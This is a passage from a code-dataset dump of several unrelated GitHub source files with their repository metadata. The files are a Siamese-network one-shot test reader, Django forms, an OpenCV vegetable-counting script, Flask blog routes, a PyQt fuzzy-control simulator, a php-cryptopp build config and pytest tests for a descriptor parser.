make_oneshot_task(self, N, mode=\"valid\", language=None):\n \"\"\"\n 创建两张的测试图像(从验证集中随机选取),用于充当support set 进行N-way one-shot的测试\n :param N: 分类个数\n :param mode: train or valid\n :param language: 具体哪个语言\n :return:\n \"\"\"\n X = self.data[mode]\n n_classes, n_examples, w, h = X.shape\n # 随机取N个 0-20的数字,作为索引\n indices = np.random.randint(0, n_examples, size=(N,))\n\n if language is not None:\n # 读取这个语言的 始末索引\n low, high = self.categories[mode][language]\n if N > high - low:\n raise ValueError(\"This language ({}) has less than {} letters\".format(language, N))\n categories = np.random.choice(range(low, high), size=(N,), replace=False)\n\n else:\n # 如果未指定语言,就完全随机选,有可能完全是不同语言的,有可能是相同语言不同字母\n categories = np.random.choice(range(n_classes), size=(N,), replace=False)\n\n # 设置第一个是对的\n true_category = categories[0]\n ex1, ex2 = np.random.choice(n_examples, replace=False, size=(2,))\n # 生成N 张一样的照片放进test_image中\n test_image = np.asarray([X[true_category, ex1, :, :]] * N, dtype=np.float32).reshape(N, w, h, 1)\n\n # 制作support set\n support_set = X[categories, indices, :, :]\n # 第1个元素设置成ex2的图片\n support_set[0] = X[true_category, ex2]\n support_set = support_set.reshape(N, w, h, 1)\n support_set = support_set.astype(np.float32)\n\n # 设置标签,第一个是对的,其他是错的\n labels = np.zeros((N,))\n labels[0] = 1\n\n # 第一个值作为稀疏矩阵,第二个值作为压缩矩阵传入。\n # sklearn的shuffle函数:第三个参数 相当于 第一个参数的索引,打乱的时候索引和数据一起改变\n labels, test_image, support_set = shuffle(labels, test_image, support_set)\n image_group = [test_image, support_set]\n\n return image_group, labels\n\n def test_oneshot(self, model, N, num, verbose=True):\n \"\"\"\n 测试孪生网络在 num N个类别一张图片的下的准确性\n :param model: 模型\n :param N: N类别\n :param num: num次\n :param verbose: 打印提示语\n :return:\n \"\"\"\n n_correct = 0\n if verbose:\n print(\"Evaluating logs on {} unique {} way one-shot learning tasks ...\".format(num, N))\n for i in range(num):\n inputs, labels = self.make_oneshot_task(N)\n probs = model.predict(inputs)\n # 相同的图片索引预测出来的索引最大值也 等于 标签的最大值索引\n if np.argmax(probs) == np.argmax(labels):\n n_correct += 1\n\n percent_correct = (100.0 * n_correct / num)\n if verbose:\n print(\"Got an average of {:.2f}% {} way one-shot learning accuracy\".format(percent_correct, N))\n\n return percent_correct\n\n\n\n","repo_name":"Runist/SiameseNet","sub_path":"dataReader.py","file_name":"dataReader.py","file_ext":"py","file_size_in_byte":6629,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"72455333634","text":"from apps.soldado.models import Servicio,Soldado,Cuerpo\r\nfrom django import forms\r\n\r\n\r\nclass ServicioForm(forms.ModelForm):\r\n class Meta:\r\n model = Servicio\r\n\r\n fields = \"__all__\"\r\n\r\n labels = {\r\n 'id_servicio': 'ID del servicio',\r\n 'descripcion': 'Descripcion',\r\n }\r\n\r\n widgets = {\r\n 'id_servicio': forms.TextInput(attrs={'class': 'form-control'}),\r\n 'descripcion': forms.TextInput(attrs={'class': 'form-control'}),\r\n }\r\n\r\nclass SoldadoForm(forms.ModelForm):\r\n class Meta:\r\n model = Soldado\r\n\r\n fields = \"__all__\"\r\n\r\n\r\n labels = {\r\n 'nombre':'Nombre',\r\n 'apellido':'Apellido',\r\n 'grado':'Grado',\r\n 'servicio':'Servicio',\r\n 'cuerpo':'Cuerpo',\r\n 'compania':'Compania',\r\n }\r\n\r\n def __init__(self, *args, **kwargs):\r\n super(SoldadoForm, self).__init__(*args, **kwargs)\r\n\r\n for field in self.fields:\r\n self.fields[field].widget.attrs.update({'class': 'form-control'})\r\n\r\n\r\n\r\nclass CuerpoForm(forms.ModelForm):\r\n class Meta:\r\n model = Cuerpo\r\n\r\n fields = \"__all__\"\r\n\r\n labels = {\r\n 'id_cuerpo': 'ID del cuerpo',\r\n 'denominacion': 'Denominacion',\r\n }\r\n\r\n widgets = {\r\n 'id_cuerpo': forms.TextInput(attrs={'class': 'form-control'}),\r\n 'denominacion': forms.TextInput(attrs={'class': 'form-control'}),\r\n }","repo_name":"gustavo15Rodriguez/servicio-militar","sub_path":"apps/soldado/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1500,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27133402069","text":"import cv2\r\nimport numpy as np\r\nimport time as tm\r\n\r\nimg = cv2.imread('243922751_1753233418210283_3024483077450698404_n.jpg')\r\nhsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\r\n\r\nlower = np.array([0, 150, 150])\r\nupper = np.array([75, 255, 255])\r\nresult = cv2.inRange(hsv, lower, upper)\r\nres = cv2.bitwise_and(img, img, mask= result)\r\n\r\ndef resize(img,per):\r\n scale_percent = per # percent of original size\r\n width = int(img.shape[1] * scale_percent / 100)\r\n height = int(img.shape[0] * scale_percent / 100)\r\n dim = (width, height)\r\n # resize image\r\n return cv2.resize(img, dim, interpolation=cv2.INTER_AREA)\r\n\r\nX = int(742/12)\r\nY = int(470/9)\r\ncnt = 0\r\n\r\nssrc = []\r\nssrcE = []\r\nfor i in range(1, 10):\r\n k = ((i%2)-1)\r\n yy = (Y*i)+ 10\r\n yx = yy-Y\r\n for j in range(1, 13+k):\r\n if i%2 != 0:\r\n xy = X*j\r\n xx = xy - X\r\n cv2.line(result, (xy, yx-10), (xy, yy-10), (255, 255, 255), 1)\r\n elif i%2 == 0:\r\n xy = (X * j) + 35\r\n xx = xy - X\r\n cv2.line(result, (xy, yx-10), (xy, yy-10), (255, 255, 255), 1)\r\n ssrc.append(resize(result[yx+7:yy-7 , xx+7:xy-7],350))\r\n ssrcE.append(result[yx + 7:yy - 7, xx + 7:xy - 7])\r\n #cv2.imshow('Block', result[xx:xy, yx:yy])\r\n #tm.sleep(0.5)\r\n\r\n\r\nfor i in range(1,10):\r\n cv2.line(result, (0, Y*i), (742,Y*i), (255, 255, 255), 1)\r\nprint(len(ssrc))\r\nfor i in range(len(ssrc)):\r\n contours, hierachy = cv2.findContours(ssrc[i], cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\r\n allcon = [len(ii) for ii in contours]\r\n try:\r\n mxa = max(allcon)\r\n except:\r\n mxa = 0\r\n cv2.putText(ssrcE[i], str(mxa), (2, 15), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (90, 0, 0), 2, cv2.LINE_AA)\r\n #cv2.imshow(str(i+1), ssrc[i])\r\n cnt = (cnt + 1) if mxa > 30 else cnt\r\n opt = \" True!! : \" if mxa > 30 else \" false : \"\r\n print(\"Max Contours found =\" + opt + str(mxa))\r\n\r\nprint(\"Number of vegetable found = \" + str(cnt))\r\n\r\nlst = [img,res,result]\r\nlstend = [resize(i,75) for i in lst]\r\nresult = resize(cv2.inRange(hsv, lower, upper),75)\r\ncv2.imshow('img',lstend[0])\r\ncv2.imshow('res',lstend[1])\r\ncv2.imshow('result_mini',lstend[2])\r\ncv2.imshow('result',result)\r\nprint(\"Accuracy is %.2f\" %((cnt/35)*100) + \" % (count by human = 35)\")\r\nprint(img.shape[1],img.shape[0])\r\n\r\ncv2.waitKey(-1)\r\ncv2.destroyAllWindows()","repo_name":"boss2546th/Basic-Computer-Vision","sub_path":"pythonProject3/imread.py","file_name":"imread.py","file_ext":"py","file_size_in_byte":2371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11214318380","text":"# encoding: utf-8\nfrom flask import render_template, flash, redirect, url_for, abort,\\\n request, current_app, g\nfrom flask_login import login_required, current_user\nfrom .. import db\nfrom ..models import User, Post, Comment, post_tag, Message\n# from ..emails import send_author_notification, send_comment_notification\nfrom . import posts\nfrom .forms import ProfileForm, PostForm, CommentForm, PresenterCommentForm\n\n\n@posts.route('/')\n# @login_required\ndef index():\n page = request.args.get('page', 1, type=int)\n if current_user.is_authenticated:\n pagination = current_user.followed_posts().paginate(\n page, per_page=current_app.config['TALKS_PER_PAGE'],\n error_out=False)\n else:\n pagination = Post.query.order_by(Post.date.desc()).paginate(\n page, per_page=current_app.config['TALKS_PER_PAGE'],\n error_out=False)\n post_list = pagination.items\n return render_template('posts/index.html', posts=post_list, read_only=True,\n pagination=pagination)\n\n@posts.route('/explore')\n# @login_required\ndef explore():\n page = request.args.get('page', 1, type=int)\n pagination = Post.query.order_by(Post.date.desc()).paginate(\n page, per_page=current_app.config['TALKS_PER_PAGE'],\n error_out=False)\n post_list = pagination.items\n return render_template('posts/index.html', posts=post_list, read_only=True,\n pagination=pagination)\n\n\n@posts.route('/user/')\n@login_required\ndef user(username):\n user = User.query.filter_by(username=username).first_or_404()\n page = request.args.get('page', 1, type=int)\n pagination = user.posts.order_by(Post.date.desc()).paginate(\n page, per_page=current_app.config['TALKS_PER_PAGE'],\n error_out=False)\n post_list = pagination.items\n if user == current_user:\n\n return render_template('posts/user.html', user=user, posts=post_list,\n followed=len(list(user.followee))-1, followers=len(list(user.fans))-1,\n pagination=pagination)\n return render_template('posts/user.html', user=user, posts=post_list,\n pagination=pagination)\n\n\n@posts.route('/profile', methods=['GET', 'POST'])\n@login_required\ndef profile():\n form = ProfileForm()\n if form.validate_on_submit():\n current_user.name = form.name.data\n current_user.location = form.location.data\n current_user.bio = form.bio.data\n db.session.add(current_user._get_current_object())\n db.session.commit()\n flash(u'您的信息已更新')\n return redirect(url_for('posts.user', username=current_user.username))\n form.name.data = current_user.name\n form.location.data = current_user.location\n form.bio.data = current_user.bio\n return render_template('posts/profile.html', form=form)\n\n\n@posts.route('/new', methods=['GET', 'POST'])\n@login_required\ndef new_post():\n form = PostForm()\n if form.validate_on_submit():\n print(\"post_tag count: {}\".format(db.session.query(post_tag).all()))\n post = Post(author=current_user)\n form.to_model(post)\n db.session.add(post)\n db.session.commit()\n flash(u'发布成功')\n print(\"post_tag count: {}\".format(db.session.query(post_tag).all()))\n return redirect(url_for('.index'))\n return render_template('posts/edit_post.html', form=form)\n\n\n@posts.route('/post/', methods=['GET', 'POST'])\ndef post(id):\n post = Post.query.get(id)\n comment = None\n if current_user.is_authenticated:\n form = PresenterCommentForm()\n if form.validate_on_submit(): # form post请求valid\n comment = Comment(body=form.body.data,\n post=post, reply_id = int(form.data.get(\"reply_id\")) if form.data.get(\"reply_id\") else None,\n author=current_user,\n approved=True)\n # if comment.reply_id:\n # message = Message(sender=current_user.id, receiver=comment.reply_user.id, action='reply comment',\n # target_id=comment.reply_id, target_type=\"comment\") # 给原评论作者的消息\n # if comment.reply_user.id != post.user_id:\n # msg = Message(sender=current_user.id, receiver=post.user_id, action='add comment',\n # target_id=post.id, target_type=\"post\") # 给原主题作者的消息\n # db.session.add(msg)\n # else:\n # message = Message(sender=current_user.id, receiver=post.user_id, action='add comment',\n # target_id=post.id, target_type=\"post\")\n # db.session.add(comment)\n # db.session.add(message)\n # db.session.commit()\n # if comment.approved:\n # # send_comment_notification(comment)\n # flash('Your comment has been published.')\n # else:\n # # send_author_notification(post)\n # flash('Your comment will be published after it is reviewed by '\n # 'the presenter.')\n # return redirect(url_for('.post', id=post.id) + '#top')\n else: # 未登录用户的发表评论\n form = CommentForm()\n if form.validate_on_submit():\n comment = Comment(body=form.body.data,\n post=post,\n author_name=form.name.data,\n author_email=form.email.data,\n approved=True) # 之前站外用户的评论需要审查通过才会显示\n if comment: #post请求则comment有数据,get请求则comment为None\n # if current_user.is_authenticated:\n sender = current_user.id if current_user.is_authenticated else None\n sender_email = None\n if not sender:\n sender_email = comment.author_email\n if comment.reply_id:\n message = Message(sender=sender, receiver=comment.reply_user.id, action='reply comment',\n target_id=comment.reply_id, target_type=\"comment\", sender_email=sender_email) #给原评论作者的消息\n if comment.reply_user.id != post.user_id:\n msg = Message(sender=sender, receiver=post.user_id, action='add comment',\n target_id=post.id, target_type=\"post\", sender_email=sender_email) #给原主题作者的消息\n db.session.add(msg)\n else:\n message = Message(sender=sender, receiver=post.user_id, action='add comment',\n target_id=post.id, target_type=\"post\", sender_email=sender_email)\n\n # else:\n # message = Message(sender=current_user.id, receiver=post.user_id, action='add comment',\n # target_id=post.id, target_type=\"post\")\n\n db.session.add(message)\n db.session.add(comment)\n db.session.commit()\n if comment.approved:\n # send_comment_notification(comment)\n flash('Your comment has been published.')\n else:\n # send_author_notification(post)\n flash('Your comment will be published after it is reviewed by '\n 'the presenter.')\n return redirect(url_for('.post', id=post.id) + '#top')\n if post.author == current_user or \\\n (current_user.is_authenticated and current_user.is_admin):\n comments_query = post.comments\n else:\n comments_query = post.approved_comments() #Todo, fix\n page = request.args.get('page', 1, type=int)\n pagination = comments_query.order_by(Comment.timestamp.asc()).paginate(\n page, per_page=current_app.config['COMMENTS_PER_PAGE'],\n error_out=False)\n comments = pagination.items\n headers = {}\n if current_user.is_authenticated:\n headers['X-XSS-Protection'] = '0'\n return render_template('posts/post.html', post=post, form=form, read_only=True, show_full_content=True,\n comments=comments, pagination=pagination),\\\n 200, headers\n\n\n@posts.route('/edit/', methods=['GET', 'POST'])\n@login_required\ndef edit_post(id):\n post = Post.query.get_or_404(id)\n if not current_user.is_admin and post.author != current_user:\n abort(403)\n form = PostForm()\n if form.validate_on_submit():\n form.to_model(post)\n db.session.add(post)\n db.session.commit()\n flash(u'修改成功')\n return redirect(url_for('.post', id=post.id))\n form.from_model(post)\n return render_template('posts/edit_post.html', form=form)\n\n\n@posts.route('/moderate')\n@login_required\ndef moderate():\n comments = current_user.for_moderation().order_by(Comment.timestamp.asc())\n return render_template('posts/moderate.html', comments=comments)\n\n\n@posts.route('/moderate-admin')\n@login_required\ndef moderate_admin():\n if not current_user.is_admin:\n abort(403)\n comments = Comment.for_moderation().order_by(Comment.timestamp.asc())\n return render_template('posts/moderate.html', comments=comments)\n\n\n@posts.route('/unsubscribe/')\ndef unsubscribe(token):\n post, email = Post.unsubscribe_user(token)\n if not post or not email:\n flash('Invalid unsubscribe token.')\n return redirect(url_for('posts.index'))\n # PendingEmail.remove(email)\n flash('You will not receive any more email notifications about this post.')\n return redirect(url_for('posts.post', id=post.id))\n\n\n@posts.route('/follow/')\n@login_required\ndef follow(username):\n user = User.query.filter_by(username=username).first_or_404()\n if user is None:\n flash('User %s not found.' % username)\n return redirect(url_for('index'))\n if user == current_user:\n flash('You can\\'t follow yourself.')\n return redirect(url_for('posts.user', username=username))\n u = current_user.follow(user)\n if u is None:\n flash('Cannot follow ' + username + '.')\n return redirect(url_for('posts.user', username=username))\n message = Message(sender=current_user.id, receiver=user.id, action='follow',\n target_id=user.id, target_type=\"user\")\n db.session.add(u)\n db.session.add(message)\n db.session.commit()\n flash('You are now following ' + username + '!')\n return redirect(url_for('posts.user', username=username))\n\n@posts.route('/unfollow/')\n@login_required\ndef unfollow(username):\n user = User.query.filter_by(username=username).first()\n if user is None:\n flash('User %s not found.' % username)\n return redirect(url_for('index'))\n if user == current_user:\n flash('You can\\'t unfollow yourself!')\n return redirect(url_for('posts.user', username=username))\n u = current_user.unfollow(user)\n if u is None:\n flash('Cannot unfollow ' + username + '.')\n return redirect(url_for('posts.user', username=username))\n db.session.add(u)\n db.session.commit()\n flash('You have stopped following ' + username + '.')\n return redirect(url_for('posts.user', username=username))\n \n","repo_name":"goalong/flask-demo","sub_path":"app/posts/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":11218,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"61"} +{"seq_id":"19999578682","text":"from PyQt5 import QtWidgets, QtCore\nimport sys\nfrom math import sin, cos, pi\nimport simpy.rt\nimport fuzzyControl\nimport model\n\nimport ui_main\nimport pyqtgraph\nfrom threading import Thread, Lock\n\nclass ExampleApp(QtWidgets.QMainWindow, ui_main.Ui_MainWindow):\n signal = QtCore.pyqtSignal()\n def __init__(self, parent=None):\n pyqtgraph.setConfigOption('background', 'w') #before loading widget\n pyqtgraph.setConfigOption('antialias', True)\n super(ExampleApp, self).__init__(parent)\n self.setupUi(self)\n self.btnPlay.clicked.connect(self.play)\n self.btnPause.clicked.connect(self.pause)\n self.btnPause.setDisabled(True)\n self.btnStop.clicked.connect(self.stop)\n self.btnStop.setDisabled(True)\n self.btnDin.clicked.connect(self.toggleDin)\n\n self.flagPause = False\n self.flagStop = False\n self.mainTh = Thread(target=self.simTh)\n self.mainMtx = Lock()\n self.listPoints = [[0, 0]]\n self.objPoint = []\n\n self.grPlot.plotItem.showGrid(True, False, 0.3)\n self.grPlot.plotItem.getViewBox().setMouseEnabled(False,False)\n self.grPlot.getPlotItem().hideAxis('left')\n self.grPlot.setYRange(-3, 7)\n self.grPlot.setXRange(-10, 10)\n self.grPlot.setFixedSize(600, 300)\n self.setFixedSize(622, 383)\n self.grPlot.getPlotItem().getAxis('top').setFixedHeight(25)\n self.grPlot.getPlotItem().getAxis('bottom').setFixedHeight(25)\n self.grPlot.getPlotItem().getAxis('left').setFixedWidth(25)\n self.grPlot.getPlotItem().getAxis('right').setFixedWidth(25)\n\n self.signal.connect(self.draw)\n\n # model object\n self.mdl = model.model([0, 30*pi/180])\n self.rdoDin.setChecked(True)\n self.mdl.enableDin()\n # controller object\n self.ctrl = fuzzyControl.fuzzyControl()\n\n def pause(self):\n self.grPlot.sceneObj.sigMouseClicked.disconnect()\n self.mainMtx.acquire()\n self.btnPause.setDisabled(True)\n self.btnPlay.setEnabled(True)\n self.flagPause = True\n\n def stop(self):\n if self.flagPause:\n self.flagPause = False\n self.flagStop = True\n\n if not self.flagStop:\n self.mainMtx.acquire()\n self.flagStop = True\n\n self.btnPlay.setEnabled(True)\n self.btnStop.setDisabled(True)\n self.btnPause.setDisabled(True)\n\n def play(self):\n if self.flagStop:\n self.mdl.reset()\n\n if self.mainTh.isAlive():\n self.mainMtx.release()\n else:\n self.mainTh.start()\n\n self.btnStop.setEnabled(True)\n self.btnPause.setEnabled(True)\n self.btnPlay.setDisabled(True)\n self.flagPause = False\n self.flagStop = False\n\n def simulation(self, env):\n tm = 0\n while True:\n self.mainMtx.acquire()\n\n F = self.ctrl.control(self.mdl)\n self.mdl.integrate(F)\n\n if tm > 0.1:\n self.signal.emit()\n tm = 0\n\n tm = tm + self.mdl.dt\n self.mainMtx.release()\n yield env.timeout(self.mdl.dt)\n\n\n def simTh(self):\n # simulation environment\n self.env = simpy.rt.RealtimeEnvironment(factor=1, strict=0)\n # simulation process definition\n proc = self.env.process(self.simulation(self.env))\n # simulation start\n self.env.run()\n\n def draw(self):\n points = self.mdl.kinematics()\n pen1 = pyqtgraph.mkPen(color='k', width=3)\n self.grPlot.plotItem.clear()\n for set in points:\n self.grPlot.plotItem.plot(set[0], set[1], pen=pen1)\n\n def toggleDin(self):\n if self.mdl.dinEnable:\n self.rdoDin.setChecked(False)\n self.mdl.disableDin()\n else:\n self.rdoDin.setChecked(True)\n self.mdl.enableDin()\n\nif __name__==\"__main__\":\n app = QtWidgets.QApplication(sys.argv)\n form = ExampleApp()\n form.show()\n form.update() #start with something\n app.exec_()\n print(\"DONE\")\n","repo_name":"HandreMelo/EngComputacao","sub_path":"IA/Fuzzy/sim.py","file_name":"sim.py","file_ext":"py","file_size_in_byte":4092,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"121043585","text":"import os\n\ndef getConfig(cryptoppDir):\n config = {}\n\n # check if panama is supported by installed crypto++\n if not os.path.isfile(cryptoppDir + \"/panama.h\"):\n config[\"enabled\"] = False\n return config\n\n config[\"enabled\"] = True\n config[\"srcFileList\"] = [\"symmetric/cipher/stream/php_panama.cpp\"]\n config[\"headerFileList\"] = [\"symmetric/cipher/stream/php_panama.h\"]\n config[\"phpMinitStatements\"] = [\"init_class_StreamCipherPanama(TSRMLS_C);\"]\n\n return config\n","repo_name":"samleybrize/php-cryptopp","sub_path":"src/symmetric/cipher/stream/config/stream_cipher_panama.py","file_name":"stream_cipher_panama.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"25013851536","text":"import pytest\n\nimport attr\n\nfrom bionic.exception import MalformedDescriptorError\nfrom bionic.descriptors.parsing import (\n dnode_from_descriptor,\n entity_dnode_from_descriptor,\n nondraft_dnode_from_descriptor,\n)\nfrom bionic.descriptors.ast import DescriptorNode, DraftNode, EntityNode, TupleNode\n\nfrom .helpers import assert_re_matches, equal_when_sorted\n\nE = EntityNode\nT = lambda *children: TupleNode(children) # noqa: E731\nD = DraftNode\nparse = dnode_from_descriptor\n\n\ndef check_roundtrip(descs, dnode):\n \"\"\"\n Checks that a group of descriptor strings all parse to the provided descriptor node,\n and that that dnode can be converted back to the first descriptor string.\n \"\"\"\n\n for desc in descs:\n assert parse(desc) == dnode\n assert dnode.to_descriptor() == descs[0]\n\n\ndef test_parsing_and_unparsing():\n check_roundtrip(\n descs=[\"x\", \"(x)\", \"((x))\", \" x \"],\n dnode=E(\"x\"),\n )\n check_roundtrip(\n descs=[\"()\", \"(())\", \"( )\"],\n dnode=T(),\n )\n check_roundtrip(\n descs=[\"x,\", \"(x,)\", \"x ,\"],\n dnode=T(E(\"x\")),\n )\n check_roundtrip(\n descs=[\"x, y\", \"x,y\", \"x, y\", \"x, y,\", \"(x,y)\", \"(x), y\"],\n dnode=T(E(\"x\"), E(\"y\")),\n )\n check_roundtrip(\n descs=[\"x, y, z\", \"x,y,z\", \"x, y, z,\", \"(x,y,z)\"],\n dnode=T(E(\"x\"), E(\"y\"), E(\"z\")),\n )\n check_roundtrip(\n descs=[\"x, (y,)\", \"x,(y,)\", \"(x), (y,)\", \"x,( y ,)\"],\n dnode=T(E(\"x\"), T(E(\"y\"))),\n )\n check_roundtrip(\n descs=[\"x, (y, z)\", \"x,(y, z)\", \"x,(y,z,),\"],\n dnode=T(E(\"x\"), T(E(\"y\"), E(\"z\"))),\n )\n check_roundtrip(\n descs=[\"(x,), (y, z)\", \"((x,)),((y,z))\"],\n dnode=T(T(E(\"x\")), T(E(\"y\"), E(\"z\"))),\n )\n check_roundtrip(\n descs=[\"w, (x, (y, z))\", \"w,(x,(y,z,),),\", \"(w),(x, ( y , z , ))\"],\n dnode=T(E(\"w\"), T(E(\"x\"), T(E(\"y\"), E(\"z\")))),\n )\n check_roundtrip(\n descs=[\"\", \"< x >\", \"()\", \"<(x)>\"],\n dnode=D(E(\"x\")),\n )\n check_roundtrip(\n descs=[\"<()>\"],\n dnode=D(T()),\n )\n check_roundtrip(\n descs=[\",\", \"<(x)>,\"],\n dnode=T(D(E(\"x\"))),\n )\n check_roundtrip(\n descs=[\"\", \"<(x,)>\"],\n dnode=D(T(E(\"x\"))),\n )\n check_roundtrip(\n descs=[\", y\", \"(), y\", \"(, y)\"],\n dnode=T(D(E(\"x\")), E(\"y\")),\n )\n check_roundtrip(\n descs=[\"x, \", \"x, ()\", \"(x, )\"],\n dnode=T(E(\"x\"), D(E(\"y\"))),\n )\n check_roundtrip(\n descs=[\", \", \"(), < y >\"],\n dnode=T(D(E(\"x\")), D(E(\"y\"))),\n )\n check_roundtrip(\n descs=[\"\", \"()\", \"<(x, y)>\"],\n dnode=D(T(E(\"x\"), E(\"y\"))),\n )\n\n\n@pytest.mark.parametrize(\"descriptor\", [\"data\", \"data2\", \"data_data\", \"__1\"])\ndef test_valid_descriptor_names(descriptor):\n assert parse(descriptor) == E(descriptor)\n\n\ndef check_failure(descs, pattern):\n \"\"\"\n Checks that each descriptor string fails to parse, with an error message matching\n the provided pattern.\n \"\"\"\n for desc in descs:\n with pytest.raises(MalformedDescriptorError) as excinfo:\n parse(desc)\n assert_re_matches(pattern, str(excinfo.value))\n\n\ndef test_malformed_descriptors():\n check_failure(\n descs=[\"\", \" \"],\n pattern=\".*empty.*\",\n )\n check_failure(\n descs=[\"9\", \"-\", \"(/)\", \"x + y\", \"x, y, 7\"],\n pattern=\".*illegal character.*\",\n )\n check_failure(\n descs=[\"x y\", \"x, y z\", \" (x y)\"],\n pattern=\".*unexpected name.*following.*complete.*\",\n )\n check_failure(\n descs=[\",x\", \"x, (,y)\"],\n pattern=\".*unexpected ','.*no preceding.*\",\n )\n check_failure(\n descs=[\"x,,\"],\n pattern=\".*unexpected ','.*immediately following another.*\",\n )\n check_failure(\n descs=[\"x()\", \"(x, y) (z)\"],\n pattern=\".*unexpected '\\\\('.*following.*complete.*\",\n )\n check_failure(\n descs=[\"x)\", \"(x, (y, z)))\"],\n pattern=\".*unexpected '\\\\)'.*no matching '\\\\('.*\",\n )\n check_failure(\n descs=[\"(\", \"(x, (y, z)\"],\n pattern=\".*'\\\\('.*no matching '\\\\)'.*\",\n )\n check_failure(\n descs=[\"<\", \"'.*\",\n )\n check_failure(\n descs=[\">\", \"x>\", \">x\"],\n pattern=\".*'>'.*no matching '<'.*\",\n )\n check_failure(\n descs=[\"x<\", \"x \", \" y\", \" \", \" y\", \")\"],\n pattern=\".*unexpected.*following.*complete.*\",\n )\n check_failure(\n descs=[\"<,x>\"],\n pattern=\".*unexpected ','.*no preceding.*\",\n )\n check_failure(\n descs=[\"(<)x>\", \"(\"],\n pattern=\".*unexpected '\\\\)'.*expected '>'.*\",\n )\n check_failure(\n descs=[\"<(x>)\"],\n pattern=\".*unexpected '>'.*expected '\\\\)'.*\",\n )\n check_failure(\n descs=[\"<>\", \"< >\"],\n pattern=\".*no expression between.*'<'.*'>'.*\",\n )\n check_failure(\n descs=[\n \"<>\",\n \"<(x, )>\",\n \"w, )>\",\n ],\n pattern=\".*'<'.*nested.*\",\n )\n\n\ndef test_exact_error_message():\n with pytest.raises(MalformedDescriptorError) as excinfo:\n parse(\"x-\")\n assert str(excinfo.value) == (\n \"Unable to parse descriptor 'x-': illegal character '-' (at position 1)\"\n )\n\n with pytest.raises(MalformedDescriptorError) as excinfo:\n parse(\"x, y,,\")\n assert str(excinfo.value) == (\n \"Unable to parse descriptor 'x, y,,': \"\n \"found unexpected ',' (at position 5) immediately following another ','\"\n )\n\n\ndef test_entity_type_checks():\n @attr.s\n class TypeExample:\n descriptor = attr.ib()\n call_is_type = attr.ib()\n call_assume_type = attr.ib()\n\n DN = DescriptorNode\n examples = [\n TypeExample(\"x\", DN.is_entity, DN.assume_entity),\n TypeExample(\"x, y\", DN.is_tuple, DN.assume_tuple),\n TypeExample(\"\", DN.is_draft, DN.assume_draft),\n ]\n\n for example in examples:\n dnode = dnode_from_descriptor(example.descriptor)\n assert example.call_is_type(dnode)\n assert example.call_assume_type(dnode) is dnode\n\n for other_example in examples:\n if other_example is example:\n continue\n assert not other_example.call_is_type(dnode)\n with pytest.raises(TypeError):\n other_example.call_assume_type(dnode)\n\n\ndef test_entity_dnode_from_descriptor():\n assert entity_dnode_from_descriptor(\"x\") == E(\"x\")\n with pytest.raises(ValueError):\n entity_dnode_from_descriptor(\"x, y\")\n\n\ndef test_nondraft_dnode_from_descriptor():\n assert nondraft_dnode_from_descriptor(\"x\") == E(\"x\")\n assert nondraft_dnode_from_descriptor(\"x, y\") == T(E(\"x\"), E(\"y\"))\n with pytest.raises(MalformedDescriptorError):\n nondraft_dnode_from_descriptor(\"\")\n with pytest.raises(MalformedDescriptorError):\n nondraft_dnode_from_descriptor(\", \")\n\n\n@pytest.mark.parametrize(\n \"descriptor, expected_entity_names\",\n [\n (\"()\", []),\n (\"x\", [\"x\"]),\n (\"x,\", [\"x\"]),\n (\"x, x\", [\"x\", \"x\"]),\n (\"x, y\", [\"x\", \"y\"]),\n (\"x, (y, z)\", [\"x\", \"y\", \"z\"]),\n (\"x, (y, x)\", [\"x\", \"y\", \"x\"]),\n ],\n)\ndef test_all_entity_names(descriptor, expected_entity_names):\n assert equal_when_sorted(\n parse(descriptor).all_entity_names(), expected_entity_names\n )\n\n\n@pytest.mark.parametrize(\n \"descriptor, expected_edited_descriptor\",\n [\n (\"()\", \"()\"),\n (\"x\", \"X\"),\n (\"x, y\", \"X, Y\"),\n (\"\", \"\"),\n (\"\", \"\"),\n (\"w, \", \"W, \"),\n ],\n)\ndef test_edit_uppercase(descriptor, expected_edited_descriptor):\n def to_uppercase(dnode):\n if dnode.is_entity():\n return E(dnode.name.upper())\n else:\n return dnode\n\n assert (\n parse(descriptor).edit(to_uppercase).to_descriptor()\n == expected_edited_descriptor\n )\n\n\n@pytest.mark.parametrize(\n \"descriptor, expected_edited_descriptor\",\n [\n (\"()\", \"()\"),\n (\"x\", \"x\"),\n (\"\", \"x\"),\n (\"x, y\", \"x, y\"),\n (\"x, \", \"x, y\"),\n (\"\", \"x, y\"),\n (\"w, \", \"w, (x, (y, z))\"),\n ],\n)\ndef test_edit_undraft(descriptor, expected_edited_descriptor):\n def undraft(dnode):\n if dnode.is_draft():\n return dnode.child\n else:\n return dnode\n\n assert parse(descriptor).edit(undraft).to_descriptor() == expected_edited_descriptor\n\n\n@pytest.fixture\ndef dnodes():\n return [\n E(\"x\"),\n E(\"y\"),\n T(),\n T(E(\"x\")),\n T(E(\"x\"), E(\"x\")),\n T(E(\"x\"), E(\"y\")),\n T(T(E(\"x\"))),\n D(E(\"x\")),\n D(E(\"y\")),\n D(T()),\n D(T(E(\"x\"))),\n T(D(E(\"x\"))),\n D(T(E(\"x\"), E(\"y\"))),\n ]\n\n\ndef test_dnode_equality(dnodes):\n for ix1, dnode1 in enumerate(dnodes):\n for ix2, dnode2 in enumerate(dnodes):\n if ix1 == ix2:\n assert dnode1 == dnode2\n else:\n assert dnode1 != dnode2\n\n\ndef test_dnode_hashing(dnodes):\n dnode_dict = {}\n for dnode in dnodes:\n assert dnode not in dnode_dict\n dnode_dict[dnode] = dnode\n assert dnode_dict[dnode] == dnode\n\n\ndef test_dnode_sorting(dnodes):\n def descs_from_dnodes(dnodes):\n return 